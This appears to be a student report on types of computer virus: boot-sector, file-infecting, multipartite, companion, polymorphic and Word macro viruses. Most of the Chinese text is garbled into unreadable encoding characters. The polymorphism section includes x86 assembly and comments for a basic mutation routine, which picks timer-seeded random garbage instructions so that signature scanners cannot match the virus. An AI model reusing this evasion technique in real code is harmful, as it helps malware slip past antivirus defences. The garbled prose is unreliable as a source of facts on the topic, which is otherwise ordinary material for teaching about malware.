VIRUS

                                          ¸ê°T¤G  b85506036  Öߦt§ø
¥Ø¿ý
0.Æ¡¤°»ò¬O¹q¸£¯f¬r¡H
1.Æ¢¶}¾÷«¬¯f¬r
2.Æ£Àɮ׫¬¯f¬r¡H
3.Ƥ½Æ¦X«¬¤Î¦ñÀH«¬¯f¬r
4. ¦h§Î¯f¬r
5. ¤å¥ó¾É¦V¦¡ªº¯f¬r·P¬V:
6. ±`¾n«¬¯f¬rªº¸Ô²Ó»¡©úƬ

0.Æ¡¤°»ò¬O¹q¸£¯f¬r¡H


¹q¸£¯f¬r¡AÅU¦W«ä¸q¡A©Ò«üªº¬O¹q¸£¡]¤@¯ë«ü­Ó¤H¹q¸£¡^§@·~¨t

²Î¤Uªº¤@ºØµ{¦¡¡A¥¦³Q¼¶¼gªº¥Øªº¦h¼Æ¬O¬°¤F¯}Ãa¤Î´c§@¼@¡A¦ý«o±`

¦]¬°¤j²³ªº»{ª¾¤£¨¬¡A³y¦¨¤@¯ë¹q¸£¨Ï¥ÎªÌªº®£·W¤Î®`©È¡A

©Ò¿×¹q¸£¯f¬r¡A¨Æ¹ê¤W¥²¶·²Å¦X¤T­Ó¥²­nªº±ø¥ó¡GÆ«½Æ»sƬ´²¼½

¥H¤ÎÆ­¯}Ãa¡C³o¤T­Ó±ø¥ó¡A¯Ê¤@¦Ó¤£¬°¹q¸£¯f¬r¡C¦p¨Ï¥ÎªÌ·|Å¥¨ìªº

¡u¯S¬¥¨Ìµ{¦¡¡v¡B¡uª±¯ºµ{¦¡¡v¡B¡u«H¥ó¬µ¼u¡v¡B¡uANSI¬µ¼u¡vµ¥¡A

°ò¥»¤W³£¤£À³¸Ó¤]¤£¯àÄÝ©ó¹q¸£¯f¬rªº½d³ò¤§¤º¡C¦p¤@¯ë¨Ï¥ÎªÌ³Ì±`Å¥¨£

ªº¦Ì¶}Äõ°òù¡]¥Û¤Æ¤T¥N¡^¡A«K²Å¦X¤F½Æ»s¡]·P¬VºÏ¤ù¡^¡A´²¼½¡]ºÏ¤ù¶}

¾÷¡^¤Î¯}Ãa¡]ºR·´µwºÐ¡^¤T­Ó­n¯À¡C

¨º»ò¡A¯f¬r¤S¬O¦s¦b©ó¨ºùتº©O¡H¯f¬r¤@©w¬OÂæbºÏ©Ê°O¾ÐÅé¤W¡C

¡A¦]¬°¯f¬r¥»¨­´N¬O¤@ºØ¹q¸£µ{¦¡¡C¨º»ò¡A²³æªº»¡¡A¯f¬r¥i¯à¦s¦b©óÆ«

³nºÐƬµwºÐ¤ÎÆ­°O¾ÐÅ餤¡C¦Ó¹q¸£¯f¬r¥»¨­¡A¤]¥i¥H¦³«Ü¦hºØ¤ÀÃþ¤èªk¡A

¦pÆ«¶}¾÷«¬¤ÎÀɮ׫¬¡]Ƭ±`¾n¤Î«D±`¾n«¬¤ÎÆ­½s½X«¬¤Î«D½s½X«¬)

µ¥µ¥¡C¦]¦¹¡A²Å¦X¤W­z¤T­n¥óªº¡A¤~¯àºÙ¤§¬°¡u¹q¸£¯f¬r¡v¡C¤U­±¡A´N

¨Ó¤¶²Ð¹q¸£¯f¬rªººØÃþ¥H¤Î¯S¼x¡C

¦^¥Ø¿ý

1.Æ¢¶}¾÷«¬¯f¬r

©Ò¿×¶}¾÷«¬ªº¯f¬r(Boot-type virus) ¬O¬É©w¬°¦b¹q¸£¶}¾÷®É¡A

·m¥ý§@·~¨t²Î¶i¤J°O¾ÐÅ骺µ{¦¡¡C¥¿±`§Ú­Ì¥Ñ³nºÐ¶}¾÷ªºµ{§Ç¦p¤U

¢z¢w¢w¢w¢{ ¢z¢w¢w¢w¢{ ¢z¢w¢w¢{ ¢z¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{

¢x¶}¹q·½¢x¡÷¢xPOST¢x¡÷ | BIOS | ¡÷¢xIO.SYS|¡÷ | MSDOS.SYS|

¢x ¢x ¢x µ{§Ç ¢x ¢x¸ü¤J¢x ¢x¸ü¤J ¢x ¢x ¸ü¤J ¢x

¢|¢w¢w¢w¢} ¢|¢w¢w¢w¢} ¢|¢w¢w¢} ¢|¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢}

¡@

¡@

¡@

¥Ñ©ó¯f¬r¥²¶·¨ú±oºÏºÐŪ¼gªº±±¨îÅv¡]³o¼Ë¤~¯à¹F¦¨·P¬Vªº¥Øªº

¡^¡A¦]¦¹¶}¾÷«¬¯f¬r¥»¨­·|¦s¦b©ó¶}¾÷ºÏ°Ï(Boot Area) ¡A¥H«K¦b¸ü

¤JOS®É·|¥ýOS¸ü¤J¥H¨ú±oµ´¹ï±±¨îÅv¡C¦]¦¹·P¬V¡]¤¤¬r¡^«á¶}¾÷ªºµ{

§ÇÅܦ¨¤F¤U­±³o¼Ë¡G

¢z¢w¢w¢w¢{ ¢z¢w¢w¢w¢{ ¢z¢w¢w¢{ ¢z¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{

¢x¶}¹q·½¢x¡÷¢xPOST¢x¡÷ | BIOS | ¡÷¢xIO.SYS|¡÷ | MSDOS.SYS|

¢x ¢x ¢x µ{§Ç ¢x ¢x¸ü¤J¢x ¢x¸ü¤J ¢x ¢x ¸ü¤J ¢x

¢|¢w¢w¢w¢} ¢|¢w¢w¢w¢} ¢|¢w¢w¢}¡ô¢|¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢}

¡ô

¯f¬r¸ü¤J

§Ú­Ì¬Ý¨ì¤F¯f¬r¦b DOS¸ü¤J«e¸ü¤J¡A³o¼Ë«K¥i¥H§Q¥ÎŪ¼gºÏ¤ùªº

¾÷·|¡]¦pdir «ü¥O¡^¶i¦æ·P¬V¡C¦Óµw¦¡ºÏºÐªº·P¬V¡A´N¬O¤ñ³nºÐ¦h¤F

¤@¶µµwºÐ¤À³ÎªíªºÀˬdµ{§Ç¡A¦Ó¶}¾÷«¬¯f¬r«K¥iÂè­©ó¶}¾÷ºÏ°Ï©Î¬O

µwºÐ¤À³Îªí¤¤¡A¦h¤F¤@ºØ¥i¯à¡C

¦^¥Ø¿ý

2.Æ£Àɮ׫¬¯f¬r¡H


©Ò¿×Àɮ׫¬ªº¯f¬r(File-type virus) ¬O¤¶©w¬°¦bÀÉ®×°õ¦æ®É¡A

¥ý­ìÀɮפ§«e©ñ°õ¦æªºµ{¦¡¡C¯f¬r¥»Åé±H©~©ó¥i°õ¦æÀɮפ¤¡A·í¦¹

Àɮ׳Q°õ¦æ®É¡A«K«I¤J§@·~¨t²Î¨ú±oµ´¹ï±±¨îÅv¡C·íµM¤]¦³¤£±`¾n

¦Ó¶È¦b©ñ°õ¦æ®É·P¬V¨ä¥¦Àɮתº¯f¬r¡A

¦Ó¯f¬r­n¦p¦ó¥h¨ú±o±±¨îÅv©O¡H¤jÅé¦Ó¨¥¯f¬r³£¬O´ÂBIOS©I¥s

¤Î DOS©I¥s¨â¤è­±µÛ¤â¡C¨ú±o¤¤Â_¶i¤JÂI¡C¤è¦¡«h¤d©_¦Ê©Ç¡A¦p¦­´Áªº

¥¿±`¤è¦¡( Int21h's 25h& 35h)¡A¤¤´Áªº³æ¨B¤¤Â_¡]MacGyver 1.0) ¤Î¦r¦ê¤ñ

¹ïªk¡] MacGyver4.0 & T4-Virion)

³q±`¥¿±`ªº¤¤Â_©I¥sµ{§Ç¬°¡G

¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{

¢x ¤¤Â_²£¥Í ¢x¡÷¢x DOS ³B²z¢x¡÷¢x BIOS ³B²z¢x¡÷¢x µwÅé I/O ¢x

¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢}

¦Ó·í¯f¬r¸Õ¹Ï¥h¤J«I°O¾ÐÅé®É¡A¥¦¥i¯à·|¦³¨âºØ«I¤Jªº¤è¦¡¡G

¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{

¢x ¤¤Â_²£¥Í ¢x¡÷¢x DOS ³B²z¢x¡÷¢x BIOS ³B²z¢x¡÷¢x µwÅé I/O ¢x

¢|¢w¢w¢w¢w¢w¢}¡ô¢|¢w¢w¢w¢w¢w¢}¡ô¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢}

¡ô ¡ô

¯f¬rÄdºIÆ« ¯f¬rÄdºIƬ

¨ä¤¤Æ«ªº¤è¦¡´N¬O¨ú±o DOSªº¶i¤JÂI¡]·íµMÁÙ¦³¤À¬O¥½ºÝ¶i¤J

ÂIÁÙ¬O­ì©l¶i¤JÂI¡^¡A¦ÓƬªº¤è¦¡´N¬O¨ú±oBIOSªº­ì©l¶i¤JÂI¡C

·í¯f¬r«I¤J°O¾ÐÅé«á¡A«K¬O©M¶}¾÷«¬¯f¬r¬Û¦P¡AÂǥѺϺЪº§@

°Ê¨Ó¹F¨ì½Æ»sªº¥Øªº¡C¥Ñ©óªñ¦~¦U¦¡¦U¼Ëªºµ{¦¡·U

¨Ó·U¦h¡AÀɮ׫¬ªº¯f¬r¤]´N·U¨Ó·U²s¼û°Õ¡I

¦ý¬O¡A´£¨ì³oùØ¡A¤]¤£±o¤£¥ý´£¤@¤U¨¾¬rµ{¦¡ªº¤u§@¤è¦¡¡C³q

±`¨¾¬rµ{¦¡ªº¤u§@³õ¦X¦³¤G¡G

¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{

¢x ¤¤Â_²£¥Í ¢x¡÷¢x DOS ³B²z |¡÷ | BIOS ³B²z |¡÷ | µwÅé I/O |

¢|¢w¢w¢w¢w¢w¢}¡ô¢|¢w¢w¢w¢w¢w¢}¡ô¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w¢w¢}

¡ô ¡ô

¡°¨¾¬rµ{¦¡Æ«¡° ¡°¨¾¬rµ{¦¡Æ¬¡°

¥i¥H¬Ý¨ì¡A¨¾¬rµ{¦¡ªº°Ê§@³º©M¯f¬r¤Q¤À¬Û¦ü¡I¡I¨Æ¹ê¤W¤]¬O¦p

¦¹¡A«Ü¦h¨¾¬rªº§Þ¥©³£¬O¯f¬r¥ý¡uµo©ú¡v¥X¨Óªº°Õ¡I¦ý¬O¡A¬°¤°»ò¨¾

¬rµ{¦¡¤´µM¨C¨C·|³Q°ª±jªº¯f¬r¬ï¹L©O¡H¤£ª¾¤j®a¦³¨S¦³µo²{¡AÁöµM

¦ì¸m¬Û¦P¡A¯f¬r©M¨¾¬rµ{¦¡«oÁÙ¬O¦³¥ý«áªºÃö«Y¡HÁ|¨Ò¨Ó»¡¡A­Y¤µ¤Ñ

¦³¤@°¦¯f¬r§Q¥Î¯S®í¤èªk®³¨ìBIOS­ì©l¶i¤JÂI¡A¨ºµ²ªG¤£´N¦¨¤F¡G

¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w¢w¢{ ¢z¢w¢w¢w¢w

| | | | | | | |

¢x ¤¤Â_²£¥Í ¢x¡÷¢x DOS ³B²z¢x¡÷¡÷ ¢x BIOS ³B²z¢x¡÷¢xµwÅé I/O|

¢|¢w¢w¢w¢w¢w¢}¡ô¢|¢w¢w¢w¢w¢w¢}¡ô ¡ô¢|¢w¢w¢w¢w¢w¢} ¢|¢w¢w¢w¢w ¡ô ¡ô ¡ô

¡°¨¾¬rµ{¦¡Æ«¡° ¡ô ¡°¯f¬rÄdºI¡°

¡°¨¾¬rµ{¦¡Æ¬¡°

³o¼Ë¯f¬r´N¥i¥H§C©ó¨¾¬rµ{¦¡¡A¬Æ¦ÜÂZ¶Ã¨¾¬rµ{¦¡¡I¡I

¦^¥Ø¿ý

3.Ƥ½Æ¦X«¬¤Î¦ñÀH«¬¯f¬r


½Æ¦X«¬(Multi-partite) ¯f¬rºî¦X¤F¶}¾÷«¬¤ÎÀɮ׫¬ªº¯S©Ê¡A

¥H¤Î¨âªÌªº·P¬V¤è¦¡¡A§ó¥[§Ö¤F¯f¬rµ{¦¡´²¼½ªº³t«×¡A¦p°ê¤º¸û

±`¨£ªºMacGyver 2.0´NÄݳo¤@Ãþ«¬

¦Ü©ó¦ñÀH«¬¯f¬r¡A«h¬O§Q¥Î DOS°õ¦æÀɮתº¶¶§Ç¡A±N¥»Åé½Æ

»s¬°±ý·P¬V¤§ÀɮסA¶È¬OªþÀɦW¤£¦P¡].EXE§ï¬°.COM¡^¡A¨Ã±N¦Û

¤vÁôÂð_¨Ó¡A³o¼Ë¥¦¤£¥Î¯}Ãa­ìÀɮסA§Y¥i¹F¦¨«I¤J°O¾ÐÅ骺¥Ø

ªº¡C­Yµ§ªÌ¨S°O¿ù¡AAIDS¯f¬r´N¬O¦ñÀH«¬¯f¬rªº¥ýÂß¡C

¦^¥Ø¿ý

¡@

4.¦h§Î¯f¬r


¦h§Î²{¶H¡A©Ò«üªº´N¬O¯f¬r¦b¨C¦¸·P¬V®É³£·|§ïÅܦۤvªº§ÎºA¡AÅý¥¦«O«ù­ì¦³ªº¥\¯à¦ý¬Ý°_¨Ó«o§¹¥þ¤£¦P¡C³o­Ó¥Øªº¥i¥H§Q¥Îµ²ªG¬Û¦P¦ý¤£¦Pªº«ü¥O¨Ó¹F¦¨¡C¤ñ¦p¡G

XOR BP,BP ;db 31h, 0edh

SUB BP,BP ;db 29h, 0edh

³o¨â¦æ«ü¥O°µªº¬O¦P¤@¥ó¨Æ¡ÐÅýBPÂk¹s¡C¦ý¬O¥¦­Ìªº¾÷±ñ½X¬O¤£¦Pªº¡I¦]¦¹¡A°²­Y§Ú­ÌÀH¾÷¦a¨Ï¥Î³o¨Ç¦P¼Ë¥\¯à¦ý¤£¦Pªº«ü¥O¡A¨º­n¥Î©T©w±½´y½X¦¡ªº¤è¦¡±½´y´N¤£¥i¯à¤F¡I³o¦b§ïÅܯf¬r¤¤°ß¤@¤£Åܪº¦a¤è¡Ðstub¡]¸Ñ½X«e«ü¥O¡^®É¬O«D±`¦n¥Îªº¡C³o¼ËÁÙ¤£°÷¡Cºtºâªk¦¡±½´y¬OAV¤½¥q¯à·Q¨ì°ß¤@ªº¸Ñ¨M¤èªk¡F¤£¹L³o­Ó¸ûÃøªº¤èªkÅý¥L­Ìªº¢C§óÃøÁȤF¨Ç¡C©Ò¦³ªº±½¬rµ{¦¡³£¦³¥¦­Ì¤º«Øªº MtE, SMEG, NED °»´ú¾¹¡A¤£¹L¨º¤]³£¬O¥t¥~ªþ¥[ªº¡C

¦h§Îªº²£¥Í¡A¤£¹L¬O§â«ü¥O¶°¦X¦¨°ï¡A¨ÃÀH¾÷¦a¿ï¥Î¥¦­Ì¡C¦Ó¶Ã¼Æ²£¥Í¾¹¤SÁ`¬O©M®É­p¦³Ãö¡C¤U­±¬O¨â­Ó¤èªk¡G

;8 bit random number

IN AL,40H ;Puts a random value in AL.

;40h is the timer port.

;16 bit random number

IN AX,40H ;Puts a random value in AX.

;Another random number

XOR AH,AH ;Puts a random value in DX.

INT 1AH ;1ah function 0 read system timer.

;This is basically the same as the

;previous examples.

¦A¨Ó§A¥i¥H¥Î XOR ©Î AND ¨Ó»s³y§ó¤jªº¶Ã«×¡C

«ü¥O¶°¬O§A©Ò»Ý­nªº¡A¦ý¬O¬°¤F¼g§@¤è«Kªº¦Ò¶q¡A¤G¦ì¤¸²Õ«ü¥Oªº¥­¤è¬O³Ì¦nªº¿ï¾Ü¡]¥i¿ï 2,4,8,16 ¡^¡C¦p¦¹¡A§A¥i¥H±o¨ì§A­nªº¶Ã¼Æ¡A¨Ã±N¤£»Ý­nªº¦ì¤¸³]¬°¢¯¡] ¥ÎAND¡^¡CÁ|¨Ò¦Ó¨¥¡A­Y¦³¢³­ÓÀH¾÷«ü¥O¥i¥H¿ï¾Ü¡A¨º»ò§A¥i¥Î¡G

AND AX,3 ;3 = 00000011b

©ó¬O¥G¡A§A´N³Ñ¤U¢³­Ó¿ï¾Ü°Õ¡I

±N«ü¥O¶°ªº°¾²¾¶q³]¨ì¬Y¼È¦s¾¹¤º¡A¦A§â¶Ã¼Æ­¼¥H¢±¥[¨ì¨ä¤º¡]¦]¬°«ü¥O¬O¢±¦ì¤¸²Õªø¡^¡C²{¦b§A¾Ö¦³¤@­ÓÀH¾÷«ü¥O°Õ¡I§A©Ò³Ñ¤Uªº¤u§@´N¬O§â¥¦²¾¨ì§A·Q©ñ¸mªº¦a¤è¡A§Aªº¤u§@´N§¹¦¨°Õ¡I

¤U­±¬O¬Y¨Ç²³æ¦h§Î¤¤©Ò¥²¶·¦P®É¥[¤Jªº«ü¥O¡G

IN AX,40H ;Random number in AX.

AND AX,3 ;Between 0-3.

SHL AX,1 ;Multiply by two because instructions

;are two bytes long.

MOV SI,OFFSET DATABASE ;SI points to start of database.

ADD SI,AX ;Add SI with AX the random offset.

MOV DI,OFFSET POLY1 ;Put the random instruction here.

MOVSW ;Move the instruction.

RET ;Finished.

;Garbage 'do nothing' instructions.

DATABASE DB 2CH,0 ; = sub al,0

DB 89H,0C0H ; = mov ax,ax

DB 88H,0C9H ; = mov cl,cl

DB 21H,0D2H ; = and dx,dx

³o¶È¶È¬O¤@­Ó²³æªº½d¨Ò¡A¦ý«o¬Oªì¾ÇªÌªº¤Jªù½Òµ{¡I§A¥i¥Hµo²{¥¦¨Ã¥¼¨Ï¥Î¤Ó¦hªº«ü¥O¡C MtE ©M NED ªí²{ªº§ó¦n¡A¦ý¬O¥¦­Ì¥Î¤F¶W¹L 1000 Bytes ªº«ü¥O¡I³o¤Ó¸Ø±i¤F§a¡I

¥t¤@­Ó¦³¥Îªº¦a¤è´N¬O¦b½s½X¾¹¤W¡CÀH¾÷©U§£½X¥i¥HÅý§Aªº¯f¬r¤ñ­ì¦³ªº 255ºØÅܤƼW¥[¦Ü¤Ö¤dºØ¡I±NÅܤƹLªø«×ªº«ü¥O¸m¤J¡A¨º»ò§A´N¦³¤@­Ó¤£©wªø«×ªº½s½X¾¹°Õ¡I(Randomise the actual number of variable bytes put in and you can have a variable length encryptor)¦Ó¯u¥¿ªºÅܧε{§Ç«h¥²¶·Âè­¦b½s½X¹Lµ{¤¤¨Ã¦b¯f¬r·P¬VÀɮ׫e³Q©I¥s¡C

¦³¨Ç§A©Ò»Ý­nª`·Nªº¨Æ¡C§A©Ò¥Îªº«ü¥O¶°¦X¤¤ªº«ü¥O¥²¶·¬O¦P¼Ëªø«×ªº¡C§A¥i¥H¥Î¤TºØ¤£¦Pªø«×ªº«ü¥O¶°¦X¡A¦ý¬O§A¤£¯à§â¥¦­Ì²V¦b¤@°_¡C¨Ï¥Î DEBUG¡A¨Ã¿é¤J°°¸Ë«ü¥Oªºµ{¦¡½X¡C

¡@

¡@

¦^¥Ø¿ý

5.¤å¥ó¾É¦V¦¡ªº¯f¬r·P¬V: Word 7.0 ¥¨¶°¯f¬r


¡@

¨ì©³¦ó¿×¥¨¶°©O¡H§Ú­Ì¥i¥H¦^·¹¨ì·í¦~ªº PE2®É¥N¡A¥u­nª±¹L¹q¸£ªº³£

ª¾¹D¡A­n PE2°õ¦æªº¦n¡A¯u¥¿»Ý­nªºÀɮצ³¨â­Ó¡GPE2.EXE, PE2.PRO¡A¨ä¤¤

ªº .PRO ©w¸q¤FÁä½L­þ¨ÇÁ䪺§@¥Î¡A§Ú­Ì¥i¥H»¡¡A³o«K¬O¥¨¶°ªºÀÝÂÒ¡C

¡@

ÀHµÛ®M¸Ë³nÅ骺·U°µ·U¤j¡A¤H­Ì³vº¥µo²{¡A±`¥Îªº¤@¨Ç¹ïÀÉ®×½s¿èªº°Ê

§@¡A¨Æ¹ê¤W¥i¥HÂk¬°¤@¾ã®Mªº«ü¥O¡AµM¦Ó¡A¨C­Ó¤H©Ò±`¥Îªº«ü¥O»P±`¥Îªº«ü

¥O°Ê§@³£¤£¦P¡A©ó¬O¥G¡A¨C­Ó®M¸Ë³nÅé«K·|¦Û¤v©w¸q¥X¤@¨Ç«ü¥O¨Ñ¨Ï¥ÎªÌµo

´§¨Ï¥Î¡A³Ì©úÅ㪺¨Ò¤l¬O Lotus 123©M¿W¥ß¦¨¤@®Mªº»y¨¥ dbase¡AÅkµM¦]¬°

¥¨¶°ªº«ü¥O¹L©ó±j¤j¡A¨«¤W©R¥O¸ÑĶ¾¹¦p BASIC ªº¹D¸ô¡C

¡@

¦P¼Ëªº¨Æ±¡µo¥Í¦b Word ªº¨­¤W¡A¤£¹L Word ªº¼Ò¦¡¤£¦P¡A¥¦©w¸q¥X¤@

­Ó½d¥»¼Ò¦¡¡A±NÀɮ׸ê®Æ¡A¥H¤Î¸ÓÀɮשһݭnªº¥¨¶°¾ã¦X¦b¤@ºØ¦W¬° .dot

ªº½d¥»Àɮפ§¤¤¡A³oºØ§@ªk¤w¸g¤£¦P©ó¥H©¹ªº®M¸Ë³nÅé±N¸ê®Æ©M¥¨¶°¤À¶}Àx

¦sªº¤èªk¡C¥¿¦]¬°³oºØ¬O¥¨¶°¥ç¬O¸ê®ÆªºÀɮ׮榡¡A«K²£¥Í¥¨¶°·P¬Vªº¥i¯à

©Ê¡C¦]¬°¡AÀɮ׸ê®Æªº¥iÄâ©Ê·¥°ª¡A¦pªG¥¨¶°¥çÀHµÛÀɮצӳQ¤À¬£¨ì¤£¦Pªº

¤u§@¥­¥x¡A¥u­n¯à³Q°õ¦æ¡A¤£¤]¬Û¦ü©ó¯f¬rªº¶Ç¬V¹Lµ{¡H¤£¹L³oºØ§Î¦¡ªº¶Ç

¬V¡A´N·|¦³­ì©l½X³Q¤½¶}ªº¦M¾÷¡A¦Ó¥B¥¿¦]¬°­ì©l½X¬O¤½¶}ªº¡A³o­Ó¯f¬rªº

¤@¤Á¦æ¬°«KµL©Ò¹P§Î¤F¡C

¡@

Word ªº¤u§@¼Ò¦¡¬O¥u­n¤@¸ü¤J½d¥»ÀɮסA´N¥ý°õ¦æ°_©lªº¥¨¶°¡A±µµÛ

¸ü¤J¸ê®Æ¤º®e¡A³o­Ó³Ð·N¥»¨Ó¬O¦nªº¡A¦]¬°ÀHµÛ¸ê®Æ¤£¦P¦Ó»Ý­n¦³¤£¦Pªº¥¨

¶°¤u§@¡C¥i¬O¨Æ¹ê¤W¡A«Ü¤Ö¤H·|¹ï¥¨¶°²£¥Í¿³½ì¡A¦]¬°¥¨¶°ªº¼¶¼g¬Û·í©ó¾Ç

²ß¤@®Mµ{¦¡»y¨¥¡A¾¨ºÞ¥¦ªº»yªk³Q¼¶¼gªº«Ü²³æ¡A¥i¬O¤j¦h¼Æªº¤H¡A¤@¤è­±

¦b¤£ª¾±¡¡A¤@¤è­±©Î¬Oª¾¹D¦³¥¨¶°³o»ò¤@¦^¨Æ¡A«o¨ÌµM¹çÄ@¦hªá­Ó´X¬í­«½Æ

¼Æ­Ó°Ê§@¡C¦]¦¹¡A Word «K¬°¤j²³¨Æ¥ý©w¸q¤@­Ó¦@¥Îªº½d¥»ÀÉ®×(Normal.dot)

¡A¸Ì­±¥]§t¤F°ò¥»ªº¥¨¶°(ÀH³nÅ餣¦P)¡C

¡@

³o¼Ë¤lªº¤âªk¡A§ó¬O¬°¥¨¶°·P¬V¶}±Ò¤jªù¡C¦]¬°¦pªG¬O¤@­Ó½d¥»¤@­Ó¥¨

¶°¡A¨º»ò¶Ç¬V³~®|´N¥u¯à¸g¥Ñ³o­Ó³æ¤@ÀɮצӤw¡A¥u­n¤@³Q¤Hµo²{¡A¤½¶}»¡

¬Y¬YÀɮ׬O¦³°ÝÃDªºÀɮסA¨º»ò³o­ÓÀɮצs¬¡²v¶Õ¥²«Ü¤p¡A¦]¬°¨S¦³¤H·|¦æ

³oºØ¦Û±þªº¦æ¬°¡A°£«D¬O¬G·Nªº¡C¦ý¬O¦@¥Î½d¥»ªº¦s¦b¡A«o¥h°£¤F³oºØ¼~¼{

¡A¥u­n¬Y¬Y¦³¤ß¤H¤h¡A­n°ÝÃD¥¨¶°¦Û¨­½Æ»s¡B©Î¼¶¼g·P¬V½X¶i¤½¥Î¥¨¶°¡A¨º

»ò¦nª±¤F¡A¥H«á¥u­n¤@¶i¤J Word ¡A¤½¥Î½d¥»¤@¨Ö³Q¨Æ¥ý¸ü¤J¡A¥u­n¦s¤U¥ô

¦ó½d¥»ÀɮסA¨º»ò¸ÓÀÉ®×´NµL¥iÁקK¦a¦¨¤F°ÝÃD¤å¥ó¡C

¡@

¥i¬O²¦³º¥¨¶°¬OÀx¦s©ó½d¥»¤å¥ó¸Ì­±ªº°Ú¡A¦b office ¸Ì­±¡A½d¥»¤å¥ó

¬O²Î¤@©ñ¸m¦b Template ¸ê®Æ§¨¸Ì­±¡A¦pªG§Ú­Ì¨S¦³°Ê¨ì¸Ì­±ªº¥ô¦ó¤@­Ó½d

¥»¥¨¶°¡A¨º»ò¬°¦ó§Ú­ÌÁÙ¬O·|·P¬V¨ì¥¨¶°¯f¬r©O¡HÃö©ó³o­Ó°ÝÃD¡A¹ê»Ú¤W«K

²o¯A¨ì·L³n¤½¥q¹ï©ó Word Àɮ׮榡³B²zªº¥Ù¬Þ¡C

¡@

§Ú­Ì¥HºÏºÐ§@·~¨t²Î (DOS)¤@­Ó«Ü¦³¦Wªº¨Ò¤l¨Ó¬Ý¡A§@·~¨t²Îªº°õ¦æÀÉ

®×§@·~ªºµ{§Ç¬O¥ý±qÀɮתº°ÆÀɦW¡A§PÂ_¨ä¬O§_¬°¥i°õ¦æÀÉ (.EXE) ¡A©ÎªÌ

©R¥OÀÉ (.COM) ¡C¦ý¥u­n¬O½sĶ¹Lµ{¦¡ªº¤H³£ª¾¹D¡ADOS ¹ï©ó³o¼Ë¤lªº°Ï¤À

¨Ã¤£ÄY®æ¡A¥¦¥u¬O³æ³æ¹ï°ÆÀɦW¥H¤G¤¸¤ÀÃþªk¿ë§O¥X³o­ÓÀÉ®×¥i¤£¥i°õ¦æ¡A

±µµÛ±q¸Ì­±ªºÀɮ׮榡¥h¿ï¾Ü¸ü¤J©ó°O¾ÐÅ餤ªº¤è¦¡¡A¦]¦¹¡C¦pªG§Ú­Ì±N¤@

­Ó¥i°õ¦æ®æ¦¡ªºÀÉ®× (*.EXE) §ï©R¦W¬°©R¥OÀÉ (*.COM) ¡A¹ê»Ú¤W¥¦¨ÌµM¬O

¥H¥i°õ¦æÀɮ榡³Q¸ü¤J°O¾ÐÅ餤¦Ó³Q°õ¦æ¡C

¡@

¦P²z¡A³oºØ¥]§t¤º¥~¨âºØ¤£¦PÀɮ׮榡ªºÂÕ»~¡A¦b Win 95 ¤¤¨Ã¥¼³Q¸Ñ

¨M (¨Æ¹ê¤W¡A¥¦¨Ã¨S¦³³Q¸Ñ¨Mªº¥²­n) ¡C Word ¦b¨M©w¥H¦óºØ¤è¦¡¸ü¤J¤å¥ó

ªº®É­Ô¡A¨Æ¹ê¤W¬O¥ý¨ì Win95¨t²Î¤¤ªºµn¿ý¶µ¥h´M§ä¬O§_¦³¦¹µn¿ý¡A¦b¸ü¤J

ªº®É­Ô¡A®Ú¾Ú¹ê»Úªº®æ¦¡¨M©w³o­Ó¤å¥ó³Q°õ¦æªº¤è¦¡¡C´«¥y¸Ü»¡¡A§Ú­Ì¥i¯à

¸ü¤J¤@­Ó¨Æ¹ê¤W¬° .dot ®æ¦¡ªº .doc ÀɮסA¥u­n³oºØ±¡§Î¤@µo¥Í¡A·í§Ú­Ì

¤£¦Ûı¦a¬Ý¨£ Word ±NÀÉ®×Åã¥Ü¦b¿Ã¹õªºÀþ¶¡¡A¦¹¤å¥ó¤ºÂ꺥¨¶°¡A¤w¸g¸g

¥Ñ Word ³Q¸ü¤J°O¾ÐÅ餤¦Ó°õ¦æ¤F¡A¦pªG¥¨¶°§@ªÌ¦AÁo©ú¤@ÂIªº¸Ü¡A¥L´N·|

«I¤J¦@¥Î½d¥»(Normal.dot)¡A³o»ò¤@¨Ó¡A¨C¦¸¥u­n¤@±Ò°Ê Word ¡A§Aªº¹q¸£

¤¤«Kµ¥µÛ³Q¦³°ÝÃDªº¥¨¶°ÄÌÂZ¤F¡C

¡@

§Ú­Ì¥i¥H³o¼Ë¤l»¡¡AÀɮצ¡¯f¬rĵ§i§Ú­Ì¤£­nÀH«K½Æ»s§O¤HªºÀɮסAºÏ

ºÐ¦¡¯f¬rĵ§i§Ú­Ì¤£­n¨Ï¥Î¨Ó¸ô¤£©úªººÏºÐ¡A¨º»ò¡A¦b¼Ðº]¥H¤å¥ó¾É¦V¬°¥D

ªº Win95 ¸Ì¡A©Î³\Ãþ¦ü Taiwan NO.1 ¤@Ãþªº¥¨¶°¯f¬rµ¹§Ú­Ìªº³Ì¤jªº±Ò¥Ü

¡A©Î³\¬O­n§Ú­Ì¤£¥i¥HÀH«K°½¬Ý§O¤H¤å¥ó§a¡I

¡@

. Interrupt 13h ÄÝ©ó BIOS µwÅ餤Â_...­t³dºÏºÐªº I/O...¥]¬A³nºÐµwºÐµ¥µ¥...

³z¹L INT 13h ±z¥i¥H¹ïºÏºÐ¤¤¥ô¤@¦ì¸m¶i¦æŪ¼g...Partition »P Boot

°Ï·íµM¤£¨Ò¥~

¡@

Interrupt 21h ÄÝ©ó DOS ³nÅ餤Â_...¥¿±`ªº¸ÜÀ³¬O¥Ñ Command.com ©Ò´£¨Ñ...

¥¦ªº¥\¯à´N¦h¤F...¦]¬°¥¦¥i¥H»¡¬O DOS ¥»Åé...

